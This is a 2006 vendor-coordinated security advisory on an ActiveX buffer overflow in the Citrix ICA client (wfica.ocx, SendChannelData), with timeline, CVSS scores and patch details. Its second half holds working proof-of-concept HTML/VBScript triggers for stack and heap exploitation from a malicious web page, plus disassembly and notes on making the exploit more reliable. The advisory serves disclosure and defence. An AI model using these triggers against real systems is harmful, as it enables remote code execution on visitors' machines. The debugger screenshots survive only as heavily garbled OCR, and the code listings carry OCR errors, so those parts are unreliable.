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Copyright and disclaimer

The information in this advisory is Copyright 2006 FortConsult A/S. It is provided so that our
customers and others understand the risk they may be facing by running affected software on
their systems.

In case you wish to copy information from this advisory, you must either copy all of it or refer to
this document.

No guarantee is provided for the accuracy of this information, or damage you may cause your
systems in testing.
The Security Research Team

This advisory has been discovered by FortConsults Security Research Team lead, Andrew
Christensen.

FortConsult is a specialist in technical services within the field of IT security. We are vulnerability
experts that help business enterprises to protect themselves against the numerous security
threats that exist today — both as impartial consultants and with responsibility for specific tasks.
Our primary services are security tests and practically-oriented security consultancy.

For more information: www.fortconsult.net.

Introduction & Advisory Summary

An ActiveX component distributed as part of the Citrix client, makes it possible to attack
machines that this component is installed on from malicious websites.

Machines which have Citrix installed on it can be compromised if Internet Explorer (or in some
cases, Firefox with ActiveX plugin extensions) is used to visit a malicious web page. DNS
manipulation can make it possible to exploit people that intended to visit harmless sites, for
example CNN or Google.

Credits and Thanks

COMRaider was used to extract function prototype information and do initial testing on this
component. Shellcode was taken from Metasploit. Thanks to Dan Faerch and Dennis Rand for
performing peer review on this advisory.

Status and Timeline

September 14t 2006 Issue Discovery

September 18t 2006 Issue Reported

September 18, 2006 Citrix confirms issue, has no planned fix date yet.
September 19, 2006 Unofficial information provided by Zero Day

Initiative indicates this issue has already
independently been discovered by others.

December 5, 2006 Planned Coordinated Public Release Date

December 7th, 2006 Updated with patch information from Citrix
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What software is affected?

This applies the Citrix client file named "wfica.ocx", which can be referenced by the following
GUID:

{238F6F83-B8B4-11CF-8771-00A024541EE3}

The program will typically be placed in the following location on disk:
C:\Program Files\Citrix\ICA Client\Wfica.ocx

For the purposes of this test, the latest ICA Client (version 9.200, release date 5/16/2006) was
downloaded on September 15th, 2006, from Citrix's website, by visiting the following URL:

http://www.citrix.com/English/SS/downloads/detail
s.asp?dID=2755&downloadID=25368&pID=186

Primary targets

While functioning exploit code has only been produced for the Windows 2000 VMWare test
system, a Proof-of-Concept which triggers what appears to be an exploitable overflow has
caused a crash on other system types:

e Windows 2003 (US / International)
e Windows XP (Danish, Norwegian)
e Windows 2000 SP4 (Danish)

The latest version of the software available at the time of writing (9.200) and version 7.0.17534.0
have both been checked for the vulnerability, and both appear vulnerable. The proof-of-concept
exploit has been crafted using 9.200.44376.0; due to time constraints vulnerability of other
versions to this specific exploit have not been checked.

Mitigation — Patch is Available

Citrix security has provided the following fix information:
This vulnerability has been addressed in the Citrix Presentation Server
Client for Windows version 9.230 and later. Citrix strongly recommends
that customers upgrade their Citrix Presentation Server Client for
Windows to version 9.230 and later. These upgrades can be obtained from

the following location:
http://www.citrix.com/English/SS/downloads/downloads.asp ?dID=2755
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Who can exploit this and where from?

This is a remote attack targeted at clients browsing the Internet using Internet Explorer. This can
be exploited by a person that controls a website that victims browse, or by a person that controls
or can manipulate the victim's DNS.

What is the impact of exploitation?

Code will execute on the victims machine with permission of the presently-logged on victim user.

CVSS Impact Scores

CVSS details - Base Metrics (Score: 8)
Access Vector: Remote
Access complexity: High
Authentication: Not required
Confidentiality Impact: Complete
Integrity Impact: Complete
Availability Impact: Complete
Impact Bias: Integrity

CVSS details - Temporal Metrics (Score: 6.6)

Exploitability: Functional
Remediation Level: Official Fix (planned available December 5t 2006)
Report Confidence: Confirmed

CVSS details - Environmental Metrics (Score: 7.4)
Collateral Damage Potential: Medium
Target Distribution: Medium

Vulnerable file details

Specific binary checksums
The checksum of the ‘wfica.ocx' binary analyzed is:
« MD5: b97da05f3693a9fd9b2f0e8a29f2fe87

This file appears to have been compiled / packaged around May 2nd, 2006 (based on the file
modification time stamp), and was compiled using Microsoft Visual C++ as a DLL, with
debugging symbols enabled (based on analysis with PEID).

Exploit Details

This vulnerability can actually be exploited in a number of ways. Depending on the type and
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length of data put in, combined with what other arguments to the vulnerable function are set to,
this software / method can be exploited using either of the following techniques:

1. stack exploit, with overflow of stack variable pointing at payload stored in heap

2. heap exploit, with control of two seperate registers, allowing at least one DWORD to be
written

A Proof-of-Concept has been created to exploit the first of these (the stack exploit), but it is
definitely worth an attackers time to create a heap-exploit version, as it appears that that would
be more reliable / portable.

Note that in all cases the exploit payload resides in the heap. This means that non-exec stacks
will not prevent exploitation. Non-exec heaps could, however, prevent this risk.

What the Issue Exploits — High Level View

The ActiveX “member” being exploited has the following prototype:

Function SendChannelData (
ByVal ChannelName As String ,
ByVal Data As String ,
ByVal DataSize As Long ,
ByVal DataType As ICAVCDataType
) As Long

It seems that this is intended to send data via an established communications channel. It is not
known what a channel actually means in this context. However, what is interesting here is the
‘DataSize” parameter, and the “DataType” parameter.

Attacker Controllable Buffer Size

The DataSize paramemter is what actually makes it possible to exploit this issue. Basically,
Wfica.ocx performs the following routine:

1. Allocate “DataSize” bytes on the heap

2. Read all of the data that there is in the “Data” parameter.
Obviously, what it should do is:

1. Allocate “DataSize” bytes on the heap

2. Read “DataSize” bytes of the “Data” parameter.

Attacker-Friendly Data Type Control

Key to exploitation of this issue is the “ICAVCDataType” parameter. When this is set to 1, the
program actually reads in ASCII data, and “packs” it as raw data. For example, the string
‘AAAAAAAA’ gets packed as OxAAAAAAAA. At first, this can lead to a little confusion when
attempting to exploit, as you might expect 0x41414141 to be the result of an overflow
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involving the character “A”, however it leads to extremely easy exploitation, as you do not
actually need to worry about nulls or other normally-illegal characters.

What the Issue Exploits — Assembly View

From an assembly standpoint, the point within Wfica.ocx at which (at least one of) the overflow
occurs is shown below. Basically what this code does is read multiples of 8 bytes of ASCII data,
and “pack’ it as raw data into the heap.

1001E9DC |> 8A07 /MOV AL,BYTE PTR DS: [EDI]
1001E9DE |. 8065 OE 00 |AND BYTE PTR SS: [EBP+E],0
1001E9E2 |. 8845 0C |[MOV BYTE PTR SS: [EBP+C],AL
1001E9E5 |. 8A47 01 |MOV AL,BYTE PTR DS: [EDI+1]
1001E9E8 |. 8845 0D |[MOV BYTE PTR SS: [EBP+D],AL
1001E9EB |. 8D45 0C |LEA EAX,DWORD PTR SS: [EBP+C]
1001E9EE |. 50 |PUSH EAX

1001E9EF |. E8 1A000000 |CALL Wfica.l001EAOE

1001E9F4 |. 8B4D 10 |MOV ECX,DWORD PTR SS: [EBP+10]
1001E9F7 |. 47 | INC EDI

1001E9F8 |. 47 | INC EDI

1001E9F9 |. 88040B |MOV BYTE PTR DS: [EBX+ECX],AL
1001E9FC |. 43 | INC EBX

1001E9FD |. 3BDE |CMP EBX,ESI

1001E9FF |.~72 DB \JB SHORT Wfica.l1001E9DC

Note Regarding “Valid” Overflow Trigger Data

Since it's designed to read 8 bytes of data at a time, there is a check elsewhere to see that the
length of the data is evenly divisible by 8 — so in order to successfully exploit this, it is necessary
to pad your shellcode out to a multiple of 8 bytes. Note also that only “hexadecimal” characters
are valid here: 0-9 and A-F.
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Proof-of-Concept Code - trigger for stack exploit

The following HTML code was used to trigger the overflow, and redirect execution to a place
where "shellcode” was placed (in this case, the sequence 0xCC, the op-code for INT3).

<html>
<head> <title>Citrix ActiveX Caller</title> </head>
<body>
<OBJECT id="Security" width=500 height=500
classid="CLSID:238F6F83-B8B4-11CF-8771-
00AO024541EE3">
<SPAN STYLE="color:red">Congrats. You aren't
vulnerable.</SPAN>
</OBJECT>
<script language=vbscript>
spamA = "whatever"
spamB =
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA9090EBO4" + "70DE3400" +
"Ccccceeecel1111111”
msgbox "attach debugger"
Security.SendChannelData spamA, spamB,1,1
</script>
</body>
</html>

Note that the exploit above has the address of the place where the “9090EB04” appears in the
shellcode hardcoded into it as 0x0034DE70.

This works because at the point where execution is redirected, we find a CALL [EBX+8] .
The data 9090EBO04 (“NOP NOP SHORT JUMP 4”) is found at 0034DE70 - the address
that EBX is actually set to. Since the call is to [EBX+8], the memory with the address is found
immediately after where the call will actually go to.

There are ways of making this more reliable — but for the sake of a Proof of Concept, hardcoding
in an address seems to work well enough.
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Stack Proof-of-Concept Screenshot

The following screenshot shows when a similar trigger was used to cause the program

to attempt to call to OxDEADBEEF+8 .

OllyDbyg - IEXPLORE.EXE - [CPU - main thread, module ¥bscripkt]

. File Miewe Debug  Plugins Ophions  Window  Help

B x| JJ wiv ¥4 9| + LIE/M|T|WIH|C|/|K|B

EEEEEEE . CALL TUORD FTR DS: TECRTE] “I Feoisters [FELI
BeiAnED | 746 oo oonon DWORD FTR DS:LESI+E21,@ RS
eBE1AACA|| * SBdaza 14 Hou EAY, OWORD FTR S5: [ESF+14] Saigfc e
eBcioAca|| . 2ESE &g MOU E0X, OWORD FTR D5:[ESI+6S] e
EBEIAACE|| . BBAC24 1m MOU ECH,OWORD FTR 55:[ESP+167 Shamenieel
eBcionce|| . 2918 MOU OWORD PTR DS: CEAX], EDH e
EBE1AACO|| . 294E &2 MOU DWORD FTR DS:[ESI+E81, ECH B
eB&1oADaE|| - EE FOF ESI B
EBE1OADL|L. CZ 1808 RETH 1@ B
EBELOAD4|rE G FUSH ESI [l
EEE%EEEE : EEE% 8 HBH EE%FEEERD FTR DS:[ESI+E2] S

. 7 H +
gEc1AROA|| - &7 PUSH _EDI L0 Eo 2Bed Seb
EBE10ADE|| . 2D7E 5= LEA EDI,OWORD FTR OS:[ESI+5S] e e
EBE1AADE|| . B5C3 TEST ECH,ECH Hed osigacs.seb
eesinnes|| -~75 2 JHZ SHORT whzoript.sBS1ABRS DY peaeEeer
EBE1OREZ|| . 2B48 SC MOY ERX, DWORD PTR DS:LESI+EC] Con e i
cecinree|| | g2 FOSH Eot 0 @
eEe1mrEr|| o E7 FISH EDI el LastEr PRk
eBcionEs|| - E2 AEFeeees | CALL wbocript.SBE29E9S EFL GEEEEZEE [ HO
EBE1ORED|| - 25CE TEST ERX, EAX 5T empty .8
EBE1AREF|| -~ 7D BE JGE SHORT wbzeript.eBELAAF o ey 22
EBELAAFL|| . C7e7 m@p@E@e@es| MOU DWORD PTR DS:[EDI1,@ ;
5TZ2 empty B.8
EBE1OAF7|| - EF POF EDI
5T2 emptw B,8
eecionFa|| - EE POF EST
5T4 empty H,8
EBE1OAFa|| . CZ @dmm RETH 4 et
EBE1AAFC|| > SEB46 BC MOY EQX, OWORD PTR DS:[ESI+ECT e
EBELAAFF|| . 2ECA TEST EAX, EQY L
eeatreat || w7 e JE SHORT whbscript.SES1ABLA - i
DS: LOEADEEF 7 1=777 FST 4808 Cond 1
FCW B27F Frec N
Address |Hen dump Disassembly - BEZ40E S
BR4EI006| BO_JF 150592 HOU™EEF, 32C5133F CiacESr o) Hdestiias
PA1ZESFC| GEGBTEEF | RETUF
BA4AZAAS| 1226 AOC CH, BYTE PTR DS: [EEX] g0l cEsRLllan ey
BA4EIGAT |- 72 40 JE 'sHORT IEXPLORE.ep4p3a5a | DR1ZECER) BBARRA0E
BR4E2EA3| BA BEZAFSFC MOU EDH, FCFI2ABE
BA1ZEEAZ| APEEAGDA
PAIAIGAE| Ed FLSH ESP
BA1ZEEAC| BB1ZEEEC
i o s il | Ll B BE1ZEE10| DREREEEE
padaaata| oF ouTs DH DWORD PTR ES:[EDIIL | BBIZEC1E) DoBaano
PE4A2E11| A1 B4EE4202 MOL ER.DWORD PTR OS:CAZ43
BA1ZEELS| @14ES2Ed|UNICE
BA4EIE1E| FE 777
BAIZEEIC| @B24ASCE
BAIAIE1T| FE CLC
PA1ZEEZE| APAGARDA
pAdEaE1a| AS 23 TEST Al P2 polabr ool mandooky
BA4E3E1A(-70 01 G SHERT TEXPLORE. BR4BZFE eieEn {l von ey
dodainiC| 558422 ¢ER4GEGR| TEST DUORD PTR DS: [EMX:oom
; : BE1ZEGEC| oREnBEoG
BA4EI623| 2E:G6E OR EEX,DWORD FTR DSf[ECH] b= B
Paanoncs| aoan HEDE4B2 DI DR DULAD PTR Do:[ERLrSE4aD
PA1ZEERY| APAGARDE
PA4A3EZ0| SF POF EDI i B
PA4A3AZE| E5:7E SR JLE SHORT IEXPLORE.AR4A35E
BA1ZEERC| PRCFAE4C|UMICE
ot [ s LR QEC EER + [ 22126648 £EEBESEE|RETUF
< ™ i PR AA12EEd4]  FARTEEFFL

Acceszs violation when reading [DEADEBEFT] - use Shift+F7#F3/F3 to pass exception to program
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Proof-of-Concept Code - trigger for heap exploit

The following HTML code was used to trigger what appears to be an easily exploitable heap bug:

<html>
<head> <title>Citrix ActiveX Caller</title> </head>
<body>
<OBJECT id="Security" width=500 height=500
classid="CLSID:238F6F83-B8B4-11CF-8771-
00A024541EE3">
<SPAN STYLE="color:red">Congrats. You aren't
vulnerable.</SPAN>
</OBJECT>
<script language=vbscript>
spamA =
"PAYLOADPAYLOADPAYLOADPAYLOADPAYLOADPAYLOADPAYLOAD"
spamB = "AAAAAAAA" +
"CCCCCCCCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" + "BBBBBBBB" +
"DDDDDDDD11111111" + String(160,"C")
msgbox "attach debugger"
Security.SendChannelData spamA, spamB,1,1
</script>
</body>
</html>

Note Regarding Heap Classification

It may be incorrect to classify this as a heap exploit. Further investigation is neccesary to be
certain of this. However, since the point the following Proof-of-Concept causes a crash is within
NTDLL.DLL, and since it crashes at a classic "WRITE+4” heap-manipulation construct (as shown
in the screenshot which follows), it seems pretty likely that it is correct to classify this as a heap
bug.

September 2006, Page 10, Copyright FortConsult, www.fortconsult.net



Heap Proof-of-Concept Screenshot

The following screenshot shows when a similar trigger was used to cause the program to attempt
to write 0XCCCCCCCC to the address 0xDDDDDDDD. Note that EAX and ECX are fully
controllable. Since this clearly demonstrates it should be possible to write one full DWORD of
arbitrary data, exploiting this should be fairly trivial, and much more reliable than the stack-based
exploit shown above.

DllyDbg - IEXPLORE.EXE - [CPU - thread 00000390, module ntdll] H =]
. File Wiews Debug Plugins Options  Window  Help _|5’|£|
| #n = N
Slex] »[i] v+ 3147 = ] LlE|mT]wiE]c|/]B
oW DWORD FTR D52 LECHT, EF
FPFCCACE|| MOV DWORD FTR DSz CEAR+a1, ECH EEELEEEEEEQEPU]
FPFCCAsz|| CHP EAR, ECX EdeceteeeE
PPFCCAEA| | JME SHORT ntdll.7PFCC4EL S R
7PFCC45C| | MOUZR ECH,WORD PTR DS:CESII oo e
FPFCCAEF || MOV ER, ECX EE pemmEREE
7PFCC4E1|| SHR ERX. 2 EAp oyt
ZrECC4ed| | HOU Egaﬂg PTR $5:[EBP-D41, EAX EempataE
FPFCCAED| | FUSH 1 s
PTECC4Er| | POFEDX | EIF 7FFCC453 ntdll. PRFCCAS
FrFCC47Z| | MOU DWORD PTR 55:C(EEBP-DBI, EOX EEN= N e
7PFCC47E||LEA EDI,DWORD PTR DS:[EAXFEDI+158] BB LD EELE Sebir BLEREET
FPFCCATF|| ®OR BYTE PTR DS:CEDIJ,OL -
Z @ DS 6923 32bit @CFFFFF
FPFCCAE1|| MOV AL, BYTE PTR DS: [ESI+E] Sl e S ElEAEER
FPFCCAg4|| MOV BYTE PTR S55: LEBF-3C1,AL S0 L2 pEsE aehi
P el N i
PPECC420| | SUE DWORD PTR DS: CECH+221, EDX 0@ Lesilar (Bl aliitess
CLECEaas|| HOU BMTE TR DsfESTeE 1T i
H +21, -
FPFCCAST || MOUZR B, WORD FTR O5:[ESI] ST0 Swoty *UNDRN coos bAis
FPFCC4oA|| MOV ECK, DNORD PTR S5: [EBP-247 N
CORELAZD| | BUB B, BC ET5 enpty 4, 15177043080555
FPFCCASF|| MOV DWORD FTR S5: CEEF-581, EEX e e
FPFCCAnz|| MOV WORD FTR DS:LESII,CH e Y O EC Bas
e
L] : + —
e IR B CR BRI
: +
: . FST @688 Cond B 8 8 B Er
TPFCCAEZ|| TEST EEM,EEX
FPECCAEA| | JE ntdll. 7PFCCETS - |FBLEERE e FEREE e
EAX-ECCEEEEE
O5: [ODODDOOD1=777
Address | Hex dump 1BEEP2PC|
PR4ESE0E| BU SF 12 L5 92 1l =B r2| 4A BH B& =A) F9 FLC 54 EER L
Ga4a3ainl 6F A1 B4 EBB| 43 AS FE Fo|Ac 23 70 0126 o4 2z J2IFCFCRS) 2oRgoaas
DR4ucAzd B4 O PR SE @B 19 83 885 80 &4 B2 OF SF 65 = oiFCFCRG| connaanm
Aoceszs violation when writing to [DDODDDDDD] - uze Shift+F7/FS/F3 to pazs e:-| | Fauzed
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